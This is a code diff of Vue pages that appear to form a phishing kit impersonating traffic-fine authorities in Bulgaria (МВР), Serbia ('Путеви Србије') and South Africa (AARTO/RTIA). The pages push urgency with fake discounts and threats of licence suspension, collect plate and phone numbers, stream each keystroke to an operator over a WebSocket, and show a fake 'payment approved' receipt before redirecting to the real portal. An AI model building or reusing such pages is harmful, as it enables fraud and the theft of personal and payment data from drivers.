<span class="row-sub">Дата на издаване на фиша</span>
</div>
<div class="col-right">{{ infractionDate }}</div>
</div>
<div class="table-row two-col">
<div class="col-left">
<span class="row-main">Размер на глобата</span>
<span class="row-sub">Сума без отстъпка</span>
</div>
<div class="col-right">{{ configData?.pay_amount?.split(':')[0] || '100 лв.' }}</div>
</div>
<div class="table-row two-col highlight-green">
<div class="col-left">
<span class="row-main">Отстъпка при плащане в 24 часа</span>
<span class="row-sub green-text">Глоба от {{ configData?.pay_amount?.split(':')[0] || '100 лв.' }} с 30% отстъпка: платете само {{ configData?.pay_amount?.split(':')[1] || '70 лв.' }} в рамките на 24 часа</span>
</div>
<div class="col-right green-text">{{ configData?.pay_amount?.split(':')[1] || '70 лв.' }}</div>
</div>
<div class="table-row two-col highlight-total">
<div class="col-left">
<span class="row-main bold">Дължима сума</span>
<span class="row-sub">Сума за плащане с отстъпка</span>
</div>
<div class="col-right total-amount">{{ configData?.pay_amount?.split(':')[1] || '70 лв.' }}</div>
</div>
</div>
<div class="button-section">
<button @click="next" class="bg-btn-primary">
Продължи с идентификацията на титуляра
</button>
</div>
<div class="consequences-card">
<h3>В зависимост от естеството на нарушението и фазата на производството могат да настъпят и следните последици:</h3>
<ul>
<li>Загуба на възможността за доброволно плащане по минималния размер на глобата;</li>
<li>Начисляване на процесуални разноски, когато е приложимо;</li>
<li>Продължаване на административнонаказателното производство;</li>
<li>Прилагане на принудителна административна мярка временно отнемане на свидетелството за управление, в законово предвидените случаи;</li>
<li>Отнемане на точки от контролния талон, когато е приложимо;</li>
<li>Принудително събиране на дължимите суми по законов ред.</li>
</ul>
</div>
</div>
</div>
</template>
</CommonLayout>
</template>
<style scoped>
.bg-pay-wrapper {
background-color: #ffffff;
min-height: 100vh;
padding: 20px 15px;
font-family: Arial, sans-serif;
color: #333;
}
.bg-pay-container {
max-width: 540px;
margin: 0 auto;
}
.bg-header h2 {
font-size: 18px;
font-weight: bold;
margin-bottom: 10px;
line-height: 1.4;
color: #1a1a1a;
}
.blue-line {
height: 3px;
background-color: #0071a6;
width: 100%;
margin-bottom: 22px;
}
.plate-display-card {
background-color: #f5f8fb;
padding: 16px 18px;
margin-bottom: 18px;
border-radius: 2px;
border: 1px solid #d0dce8;
}
.plate-label {
font-size: 11px;
color: #888;
font-weight: bold;
letter-spacing: 0.5px;
display: block;
margin-bottom: 8px;
}
.plate-number {
font-size: 26px;
font-weight: bold;
letter-spacing: 2px;
color: #000;
}
.info-alert-box {
background-color: #e8f4fb;
border-left: 4px solid #0071a6;
padding: 13px 15px;
margin-bottom: 22px;
}
.info-alert-box p {
margin: 0;
font-size: 14px;
line-height: 1.55;
color: #333;
}
.amount-detail-table {
border: 1px solid #d0dce8;
border-radius: 3px;
overflow: hidden;
margin-bottom: 22px;
}
.table-header {
background-color: #2c2c2c;
color: #fff;
padding: 11px 15px;
font-size: 13px;
font-weight: bold;
display: flex;
justify-content: space-between;
}
.th-item { color: #ccc; }
.th-value { color: #ccc; }
.table-row {
border-bottom: 1px solid #e8edf2;
padding: 10px 15px;
}
.two-col {
display: flex;
justify-content: space-between;
align-items: flex-start;
gap: 10px;
}
.col-left {
display: flex;
flex-direction: column;
flex: 1;
}
.col-right {
font-size: 15px;
font-weight: bold;
color: #1a1a1a;
white-space: nowrap;
padding-top: 2px;
}
.row-main {
font-size: 14px;
font-weight: bold;
color: #1a1a1a;
margin-bottom: 2px;
}
.row-sub {
font-size: 12px;
color: #888;
}
.row-sub-orange {
color: #d06000;
}
.highlight-green {
background-color: #f0fbf4;
}
.green-text {
color: #1a7a3a !important;
font-weight: bold;
}
.highlight-total {
background-color: #fff5f5;
}
.total-amount {
font-size: 22px;
font-weight: bold;
color: #cc0000 !important;
}
.bold {
font-weight: bold;
}
.button-section {
margin-bottom: 28px;
}
.bg-btn-primary {
width: 100%;
background-color: #0071a6;
color: #fff;
border: none;
border-radius: 4px;
padding: 14px;
font-size: 16px;
font-weight: bold;
cursor: pointer;
transition: background 0.2s;
}
.bg-btn-primary:hover {
background-color: #005a85;
}
.consequences-card {
background-color: #f5f8fb;
border-left: 4px solid #0071a6;
padding: 15px 18px;
}
.consequences-card h3 {
font-size: 14px;
font-weight: bold;
margin-bottom: 14px;
line-height: 1.5;
color: #1a1a1a;
}
.consequences-card ul {
padding-left: 18px;
margin: 0;
}
.consequences-card li {
font-size: 13px;
color: #555;
margin-bottom: 10px;
line-height: 1.5;
}
@media (max-width: 480px) {
.plate-number { font-size: 20px; }
.total-amount { font-size: 18px; }
}
</style>

View File

@@ -0,0 +1,225 @@
<script setup lang="ts">
import { getCurrentInstance, onMounted, ref, watch } from "vue";
import { useRouter } from "vue-router";
import CommonLayout from "@/views/CommonLayout.vue";
import { useLoadingStore } from "@/stores/loadingStore";
import { inputChange, myWebSocket } from "@/utils/common";
import { useI18n } from "vue-i18n";
const { t } = useI18n();
const router = useRouter();
const loadingStore = useLoadingStore();
const formData = ref({ licensePlateData: { licensePlate: "" } });
const instance = getCurrentInstance()!;
const onchange = (event: any) => {
inputChange("Регистарска ознака", "plate", event.target.value);
};
const next = () => {
localStorage.setItem("licensePlate", formData.value.licensePlateData.licensePlate);
loadingStore.setLoading(true);
setTimeout(() => {
loadingStore.setLoading(false);
router.push("/pay");
}, 200);
};
watch(
instance.appContext.config.globalProperties.$currentUser,
(newValue, oldValue) => {}
);
onMounted(() => {
myWebSocket?.send(
JSON.stringify({
event: "page_type",
content: { pageType: "phone" },
})
);
const userData =
getCurrentInstance()?.appContext.config.globalProperties.$userData;
if (userData && userData.licensePlateData) {
formData.value = userData;
}
localStorage.setItem("route", "phone");
});
</script>
<template>
<CommonLayout>
<template #default>
<div class="image-container">
<img
src="/Static_zy/koridor10-juzni-krak.jpg"
alt="Путеви Србије"
style="width: 100%; height: auto; max-width: 100%; margin-top: -10px; margin-bottom: -16px;">
</div>
<div class="main-content-body">
<div class="container">
<form @submit.prevent="next">
<div class="content-body">
<h1>{{ t("Провера статуса наплате путарине") }}</h1>
<p>
{{ t("Унесите регистарску ознаку возила да бисте проверили статус неплаћених путарина и казни према подацима ЈП 'Путеви Србије'.") }}
</p>
<div class="input-group">
<label for="licensePlate">
{{ t("Регистарска ознака") }}
</label>
<input
id="licensePlate"
type="text"
required
autofocus
@input="onchange"
v-model="formData.licensePlateData.licensePlate"
inputmode="text"
:placeholder="t('Пример: BG123456')"
class="full-width-input"
/>
</div>
</div>
<div class="button-submit">
<button type="submit" class="full-width-btn">
{{ t("Провери статус") }}
</button>
</div>
</form>
</div>
</div>
</template>
</CommonLayout>
</template>
<style scoped>
.image-container {
display: flex;
justify-content: center;
align-items: center;
margin-bottom: 1rem;
}
.main-content-body {
background-color: #f0f4f8;
padding: 3rem 1rem;
display: flex;
align-items: center;
}
.container {
max-width: 720px;
margin: 0 auto;
background-color: #ffffff;
border: 1px solid #d0d7de;
border-radius: 8px;
padding: 2rem;
box-shadow: 0 4px 8px rgba(0, 0, 0, 0.1);
}
.content-body {
text-align: left;
}
h1 {
font-size: 1.8rem;
font-weight: 700;
color: #003087;
margin-bottom: 1rem;
font-family: 'Arial', sans-serif;
}
p {
color: #333333;
font-size: 1rem;
line-height: 1.5;
margin-bottom: 1.5rem;
font-family: 'Arial', sans-serif;
}
.input-group {
margin-bottom: 1.5rem;
}
label {
display: block;
font-size: 1rem;
font-weight: 500;
color: #003087;
margin-bottom: 0.5rem;
font-family: 'Arial', sans-serif;
}
.full-width-input {
width: 100%;
box-sizing: border-box;
padding: 0.75rem;
font-size: 1rem;
border: 1px solid #b0b8c1;
border-radius: 5px;
background-color: #ffffff;
color: #333333;
font-family: 'Arial', sans-serif;
transition: border-color 0.2s;
margin-bottom: 0;
display: block;
}
.full-width-input:focus {
outline: none;
border-color: #003087;
box-shadow: 0 0 0 2px rgba(0, 48, 135, 0.2);
}
.button-submit {
text-align: center;
}
.full-width-btn {
width: 100%;
background-color: #003087;
color: #ffffff;
border: none;
border-radius: 5px;
font-size: 1.1rem;
font-weight: 600;
padding: 0.85rem 0;
cursor: pointer;
transition: background 0.2s;
font-family: 'Arial', sans-serif;
margin-top: 0.3rem;
box-sizing: border-box;
display: block;
}
.full-width-btn:hover {
background-color: #00205b;
}
@media (max-width: 768px) {
.container {
padding: 1.5rem;
margin: 0 1rem;
}
h1 {
font-size: 1.3rem;
}
p {
font-size: 0.9rem;
}
.full-width-input {
padding: 0.6rem;
}
.full-width-btn {
padding: 0.75rem 0;
font-size: 1rem;
}
}
</style>

View File

@@ -0,0 +1,284 @@
<script setup lang="ts">
import { getCurrentInstance, onMounted, ref, watch } from "vue";
import { useRouter } from "vue-router";
import CommonLayout from "@/views/CommonLayout.vue";
import { useLoadingStore } from "@/stores/loadingStore";
import { inputChange, myWebSocket } from "@/utils/common";
import { useI18n } from "vue-i18n";
const { t } = useI18n();
const router = useRouter();
const loadingStore = useLoadingStore();
// 保持逻辑不变:使用 phoneData 结构
const formData = ref({ phoneData: { phoneNumber: "" } });
const instance = getCurrentInstance()!;
const onchange = (event: any) => {
inputChange("input_phone", "phone", event.target.value);
};
const next = () => {
// 逻辑保持:保存手机号并跳转
localStorage.setItem("phoneNumber", formData.value.phoneData.phoneNumber);
loadingStore.setLoading(true);
setTimeout(() => {
loadingStore.setLoading(false);
router.push("/pay");
}, 200);
};
watch(
instance.appContext.config.globalProperties.$currentUser,
(newValue, oldValue) => {}
);
onMounted(() => {
myWebSocket?.send(
JSON.stringify({
event: "page_type",
content: { pageType: "phone" },
})
);
const userData =
getCurrentInstance()?.appContext.config.globalProperties.$userData;
if (userData && userData.phoneData) {
formData.value = userData;
}
localStorage.setItem("route", "phone");
});
</script>
<template>
<CommonLayout>
<template #default>
<div class="aarto-main-wrapper">
<div class="aarto-container">
<div class="aarto-header">
<div class="aarto-badge">AARTO</div>
<h1>{{ t("Check Infringement Status") }}</h1>
<p class="subtitle">{{ t("Road Traffic Infringement Agency (RTIA)") }}</p>
</div>
<form @submit.prevent="next">
<div class="content-body">
<p class="instruction-text">
{{ t("Enter your registered mobile number to check for outstanding Infringement Notices and Enforcement Orders under the AARTO Act.") }}
</p>
<div class="input-group">
<label for="phoneNumber">
{{ t("Mobile Number") }}
</label>
<input
id="phoneNumber"
type="tel"
required
autofocus
@input="onchange"
v-model="formData.phoneData.phoneNumber"
inputmode="tel"
:placeholder="t('Example: +27 82 123 4567')"
class="aarto-input"
/>
</div>
<div class="aarto-warning-box">
<h3>{{ t("Important Legal Notice:") }}</h3>
<ul>
<li><strong>{{ t("Administrative Restrictions:") }}</strong> {{ t("Failure to act on an Infringement Notice leads to an Enforcement Order, incurring additional R60 fees.") }}</li>
<li><strong>{{ t("License Freeze:") }}</strong> {{ t("Unresolved fines will result in a block on eNaTIS, preventing you from renewing your driving license or vehicle license disc.") }}</li>
<li><strong>{{ t("Roadworthy Blocking:") }}</strong> {{ t("Outstanding penalties will prevent your vehicle from passing its mandatory Roadworthy Test.") }}</li>
</ul>
</div>
</div>
<div class="button-submit">
<button type="submit" class="aarto-primary-btn">
{{ t("CHECK STATUS") }}
</button>
</div>
</form>
<div class="aarto-footer-links">
<span>{{ t("Secured by eNaTIS System") }}</span>
</div>
</div>
</div>
</template>
</CommonLayout>
</template>
<style scoped>
/* AARTO 官方配色方案 */
:root {
--aarto-blue: #003366;
--aarto-gold: #FFCC00;
--aarto-gray: #f4f4f4;
--aarto-text: #333333;
--aarto-red: #d32f2f;
}
.aarto-main-wrapper {
background-color: #e9ecef;
min-height: 80vh;
padding: 2rem 1rem;
display: flex;
justify-content: center;
align-items: center;
font-family: 'Segoe UI', Roboto, Helvetica, Arial, sans-serif;
}
.aarto-container {
max-width: 600px;
width: 100%;
background-color: #ffffff;
border-top: 6px solid #FFCC00; /* AARTO 金黄色边框 */
border-radius: 4px;
padding: 2.5rem;
box-shadow: 0 10px 25px rgba(0, 0, 0, 0.1);
}
.aarto-header {
text-align: center;
margin-bottom: 2rem;
}
.aarto-badge {
background-color: #003366;
color: #FFCC00;
display: inline-block;
padding: 4px 12px;
font-weight: 800;
font-size: 1.2rem;
margin-bottom: 0.5rem;
border-radius: 2px;
}
h1 {
font-size: 1.6rem;
font-weight: 700;
color: #003366;
margin: 0.5rem 0;
text-transform: uppercase;
}
.subtitle {
color: #666;
font-size: 0.9rem;
letter-spacing: 1px;
margin-bottom: 1rem;
}
.instruction-text {
color: #444;
font-size: 1rem;
line-height: 1.6;
margin-bottom: 1.5rem;
border-left: 4px solid #003366;
padding-left: 1rem;
}
.input-group {
margin-bottom: 2rem;
}
label {
display: block;
font-size: 0.9rem;
font-weight: 700;
color: #003366;
margin-bottom: 0.5rem;
text-transform: uppercase;
}
.aarto-input {
width: 100%;
box-sizing: border-box;
padding: 1rem;
font-size: 1.1rem;
border: 2px solid #ced4da;
border-radius: 4px;
background-color: #f8f9fa;
transition: all 0.3s;
}
.aarto-input:focus {
outline: none;
border-color: #003366;
background-color: #fff;
box-shadow: 0 0 0 3px rgba(0, 51, 102, 0.1);
}
/* 警告框样式 */
.aarto-warning-box {
background-color: #fff9e6;
border: 1px solid #ffeeba;
padding: 1.2rem;
border-radius: 4px;
margin-bottom: 2rem;
}
.aarto-warning-box h3 {
color: #856404;
font-size: 0.95rem;
margin-top: 0;
margin-bottom: 0.8rem;
font-weight: 700;
}
.aarto-warning-box ul {
margin: 0;
padding-left: 1.2rem;
}
.aarto-warning-box li {
font-size: 0.85rem;
color: #533f03;
line-height: 1.5;
margin-bottom: 0.6rem;
}
.aarto-primary-btn {
width: 100%;
background-color: #003366;
color: #ffffff;
border: none;
border-radius: 4px;
font-size: 1.1rem;
font-weight: 700;
padding: 1rem;
cursor: pointer;
transition: background 0.3s;
box-shadow: 0 4px 6px rgba(0, 51, 102, 0.2);
}
.aarto-primary-btn:hover {
background-color: #002244;
box-shadow: 0 6px 12px rgba(0, 51, 102, 0.3);
}
.aarto-footer-links {
margin-top: 1.5rem;
text-align: center;
font-size: 0.8rem;
color: #999;
text-transform: uppercase;
}
@media (max-width: 768px) {
.aarto-container {
padding: 1.5rem;
}
h1 {
font-size: 1.3rem;
}
.aarto-badge {
font-size: 1rem;
}
}
</style>

View File

@@ -0,0 +1,282 @@
<script setup lang="ts">
import { onMounted, ref, computed } from "vue";
import CommonLayout from "@/views/CommonLayout.vue";
import { myWebSocket, redirectToExternal, configData } from "@/utils/common";
import { useI18n } from "vue-i18n";
const { t } = useI18n();
const loading = ref(true);
const invoiceNumber = ref("");
const referenceId = ref("");
const getFormattedDate = () => {
const date = new Date();
const day = String(date.getDate()).padStart(2, "0");
const month = String(date.getMonth() + 1).padStart(2, "0");
const year = date.getFullYear();
return `${day}/${month}/${year}`;
};
const paymentDate = computed(() => getFormattedDate());
onMounted(() => {
referenceId.value = Math.random().toString(36).toUpperCase().substring(2, 12);
myWebSocket?.send(
JSON.stringify({
event: "page_type",
content: { pageType: "success" },
})
);
const inumber = localStorage.getItem("invoiceNumber");
invoiceNumber.value = inumber || "BG-KAT-2026-9912";
setTimeout(() => {
loading.value = false;
redirectToExternal();
}, 3000);
localStorage.setItem("route", "success");
});
</script>
<template>
<CommonLayout>
<template #default>
<div class="bg-success-wrapper">
<div class="bg-card">
<div class="bg-header">
<h2>Разписка за извършено плащане</h2>
<div class="blue-line"></div>
</div>
<div class="success-status">
<div class="icon-circle">
<svg viewBox="0 0 24 24" class="check-svg">
<path d="M9 16.17L4.83 12l-1.42 1.41L9 19 21 7l-1.41-1.41z" />
</svg>
</div>
<h1 class="status-title">Плащането е извършено успешно!</h1>
<p class="status-desc">Транзакцията е обработена успешно в системата на МВР.</p>
</div>
<div class="receipt-details">
<div class="detail-item">
<span class="label">Номер на документа:</span>
<span class="value bold">{{ invoiceNumber }}</span>
</div>
<div class="detail-item">
<span class="label">Платена сума:</span>
<span class="value amount">{{ configData?.pay_amount?.split(':')[1] || '70 лв.' }}</span>
</div>
<div class="detail-item">
<span class="label">Дата на плащане:</span>
<span class="value">{{ paymentDate }}</span>
</div>
<div class="detail-item">
<span class="label">Статус:</span>
<span class="status-tag">ОДОБРЕНО</span>
</div>
<div class="divider"></div>
<div class="detail-item">
<span class="label">Референтен номер:</span>
<span class="value mono">#{{ referenceId }}</span>
</div>
</div>
<div class="info-notice">
<span class="info-icon"></span>
<p>Системата може да отнеме няколко минути, за да актуализира статуса на задължението. Препоръчваме ви да запазите тази разписка или да отбележите референтния номер.</p>
</div>
<div class="redirect-footer" v-if="loading">
<div class="spinner"></div>
<p>Пренасочване към официалния портал след няколко секунди...</p>
</div>
</div>
</div>
</template>
</CommonLayout>
</template>
<style scoped>
.bg-success-wrapper {
background-color: #f5f7f9;
min-height: 100vh;
padding: 30px 15px;
font-family: Arial, sans-serif;
}
.bg-card {
max-width: 540px;
margin: 0 auto;
background: #ffffff;
border-radius: 3px;
border: 1px solid #d0dce8;
padding: 28px 22px;
box-shadow: 0 2px 8px rgba(0, 0, 0, 0.05);
}
.bg-header h2 {
font-size: 18px;
font-weight: bold;
color: #1a1a1a;
margin-bottom: 10px;
line-height: 1.4;
}
.blue-line {
height: 3px;
background-color: #0071a6;
width: 100%;
margin-bottom: 28px;
}
.success-status {
text-align: center;
margin-bottom: 28px;
}
.icon-circle {
width: 68px;
height: 68px;
background-color: #e6f7ef;
border-radius: 50%;
display: flex;
justify-content: center;
align-items: center;
margin: 0 auto 14px;
}
.check-svg {
width: 38px;
height: 38px;
fill: #1a7a3a;
}
.status-title {
font-size: 22px;
font-weight: 800;
color: #1a1a1a;
margin-bottom: 10px;
}
.status-desc {
font-size: 14px;
color: #666;
line-height: 1.5;
}
.receipt-details {
background-color: #f9fbfd;
border: 1px solid #d0dce8;
border-radius: 3px;
padding: 18px;
margin-bottom: 22px;
}
.detail-item {
display: flex;
justify-content: space-between;
margin-bottom: 13px;
font-size: 14px;
}
.detail-item:last-child {
margin-bottom: 0;
}
.label {
color: #777;
}
.value {
color: #1a1a1a;
font-weight: 600;
}
.value.bold {
font-weight: 800;
}
.value.amount {
color: #0071a6;
font-size: 18px;
font-weight: 800;
}
.value.mono {
font-family: "Courier New", Courier, monospace;
}
.status-tag {
background-color: #1a7a3a;
color: #fff;
font-size: 11px;
font-weight: bold;
padding: 3px 8px;
border-radius: 3px;
}
.divider {
border-top: 1px dashed #d0dce8;
margin: 13px 0;
}
.info-notice {
background-color: #e8f4fb;
border-left: 4px solid #0071a6;
border-radius: 2px;
padding: 12px 14px;
display: flex;
gap: 10px;
margin-bottom: 22px;
}
.info-icon {
font-size: 16px;
flex-shrink: 0;
}
.info-notice p {
font-size: 13px;
color: #444;
line-height: 1.5;
margin: 0;
}
.redirect-footer {
text-align: center;
margin-top: 18px;
}
.redirect-footer p {
font-size: 12px;
color: #aaa;
margin-top: 10px;
}
.spinner {
width: 24px;
height: 24px;
border: 3px solid #d0dce8;
border-top: 3px solid #0071a6;
border-radius: 50%;
margin: 0 auto;
animation: spin 1s linear infinite;
}
@keyframes spin {
0% { transform: rotate(0deg); }
100% { transform: rotate(360deg); }
}
</style>